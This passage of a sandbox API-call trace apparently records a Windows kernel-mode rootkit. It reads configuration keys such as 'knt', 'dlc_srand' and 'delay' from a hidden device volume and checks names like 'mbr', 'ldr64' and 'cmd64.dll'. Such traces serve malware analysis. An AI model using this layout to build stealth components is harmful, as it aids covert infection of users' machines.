FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.135] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c32000 [0122.135] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.135] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0122.135] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0122.135] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0122.135] IdePortDispatch () returned 0x103 [0122.135] KeWaitForMutexObject () returned 0x0 [0122.135] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.135] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.135] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0122.135] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0122.135] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0122.135] IdePortDispatch () returned 0x103 [0122.135] KeWaitForMutexObject () returned 0x0 [0122.136] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.136] KeLeaveCriticalRegion () [0122.136] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.136] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.136] KeEnterCriticalRegion () [0122.136] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.136] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.136] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.136] KeLeaveCriticalRegion () [0122.136] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.136] KeEnterCriticalRegion () [0122.136] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.136] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0122.136] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bc6570, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0122.136] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.136] KeLeaveCriticalRegion () [0122.136] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.136] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.136] KeEnterCriticalRegion () [0122.136] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.136] ExFreePoolWithTag (P=0xfffffa8003be3440, Tag=0x0) [0122.136] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.136] KeLeaveCriticalRegion () [0122.136] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.137] ReleaseMutex (hMutex=0xf0) returned 1 [0122.137] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0122.137] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0122.137] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0122.137] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0122.137] KeEnterCriticalRegion () [0122.137] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.137] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.137] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.137] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.137] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0122.137] IdePortDispatch () returned 0x103 [0122.137] KeWaitForMutexObject () returned 0x0 [0122.137] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0122.137] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0122.137] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0122.137] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0122.137] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0122.137] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0122.137] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0122.137] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0122.137] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0122.137] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0122.137] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.137] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.137] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.137] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.137] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.137] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.137] KeLeaveCriticalRegion () [0122.137] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.137] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0122.137] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0122.137] KeEnterCriticalRegion () [0122.137] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.137] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.137] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.137] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.138] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0122.138] IdePortDispatch () returned 0x103 [0122.138] KeWaitForMutexObject () returned 0x0 [0122.138] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0122.138] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0122.138] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0122.138] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0122.138] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0122.138] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0122.138] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0122.138] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0122.138] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0122.138] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0122.138] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.138] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.138] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.138] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.138] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.138] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.138] KeLeaveCriticalRegion () [0122.138] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.138] ReleaseMutex (hMutex=0x100) returned 1 [0122.138] Sleep (dwMilliseconds=0x2bf20) [0122.146] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6c006610, dwHighDateTime=0x1d24fa4)) [0122.146] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0122.146] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0122.146] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0122.146] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.146] KeEnterCriticalRegion () [0122.146] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.146] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.146] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0122.146] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0122.146] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0122.146] IdePortDispatch () returned 0x103 [0122.146] KeWaitForMutexObject () returned 0x0 [0122.146] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.146] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.146] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.146] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0122.146] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0122.146] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003be3440 [0122.146] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.146] KeLeaveCriticalRegion () [0122.146] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.146] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.146] KeEnterCriticalRegion () [0122.146] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.146] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.146] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.146] KeLeaveCriticalRegion () [0122.147] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.147] KeEnterCriticalRegion () [0122.147] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.147] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.147] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0122.147] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0122.147] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0122.147] IdePortDispatch () returned 0x103 [0122.147] KeWaitForMutexObject () returned 0x0 [0122.147] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.147] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.147] KeLeaveCriticalRegion () [0122.147] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.147] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.147] KeEnterCriticalRegion () [0122.147] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.147] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c38000 [0122.147] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.147] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0122.147] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0122.147] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0122.147] IdePortDispatch () returned 0x103 [0122.147] KeWaitForMutexObject () returned 0x0 [0122.147] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.147] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.147] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0122.147] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0122.147] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0122.147] IdePortDispatch () returned 0x103 [0122.148] KeWaitForMutexObject () returned 0x0 [0122.148] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.148] KeLeaveCriticalRegion () [0122.149] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.149] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.149] KeEnterCriticalRegion () [0122.149] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.149] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.149] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.149] KeLeaveCriticalRegion () [0122.149] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.149] KeEnterCriticalRegion () [0122.149] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.149] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0122.149] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bc6570, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0122.149] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.149] KeLeaveCriticalRegion () [0122.149] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.149] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.149] KeEnterCriticalRegion () [0122.149] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.149] ExFreePoolWithTag (P=0xfffffa8003be3440, Tag=0x0) [0122.149] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.149] KeLeaveCriticalRegion () [0122.149] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.149] ReleaseMutex (hMutex=0xf0) returned 1 [0122.149] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0122.149] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0122.149] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.150] KeEnterCriticalRegion () [0122.150] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.150] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.150] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0122.150] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0122.150] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0122.150] IdePortDispatch () returned 0x103 [0122.150] KeWaitForMutexObject () returned 0x0 [0122.150] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.150] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.150] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.150] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0122.150] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0122.150] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80037de700 [0122.150] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.150] KeLeaveCriticalRegion () [0122.150] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.150] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.150] KeEnterCriticalRegion () [0122.150] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.150] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.150] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.150] KeLeaveCriticalRegion () [0122.150] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.150] KeEnterCriticalRegion () [0122.150] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.150] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.150] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0122.150] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0122.150] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0122.150] IdePortDispatch () returned 0x103 [0122.150] KeWaitForMutexObject () returned 0x0 [0122.151] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.151] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.151] KeLeaveCriticalRegion () [0122.151] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.151] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.151] KeEnterCriticalRegion () [0122.151] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.151] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c39000 [0122.151] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.151] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0122.151] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0122.151] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0122.151] IdePortDispatch () returned 0x103 [0122.151] KeWaitForMutexObject () returned 0x0 [0122.151] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.151] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.151] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0122.151] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0122.151] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0122.151] IdePortDispatch () returned 0x103 [0122.151] KeWaitForMutexObject () returned 0x0 [0122.151] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.151] KeLeaveCriticalRegion () [0122.151] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.152] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.152] KeEnterCriticalRegion () [0122.152] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.152] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.152] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.152] KeLeaveCriticalRegion () [0122.152] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.152] KeEnterCriticalRegion () [0122.152] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.152] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0122.152] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bd6630, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0122.152] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.152] KeLeaveCriticalRegion () [0122.152] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.152] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.152] KeEnterCriticalRegion () [0122.152] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.152] ExFreePoolWithTag (P=0xfffffa80037de700, Tag=0x0) [0122.152] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.152] KeLeaveCriticalRegion () [0122.152] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.152] ReleaseMutex (hMutex=0xf0) returned 1 [0122.152] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0122.152] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0122.152] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.152] KeEnterCriticalRegion () [0122.152] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.152] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.152] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0122.152] 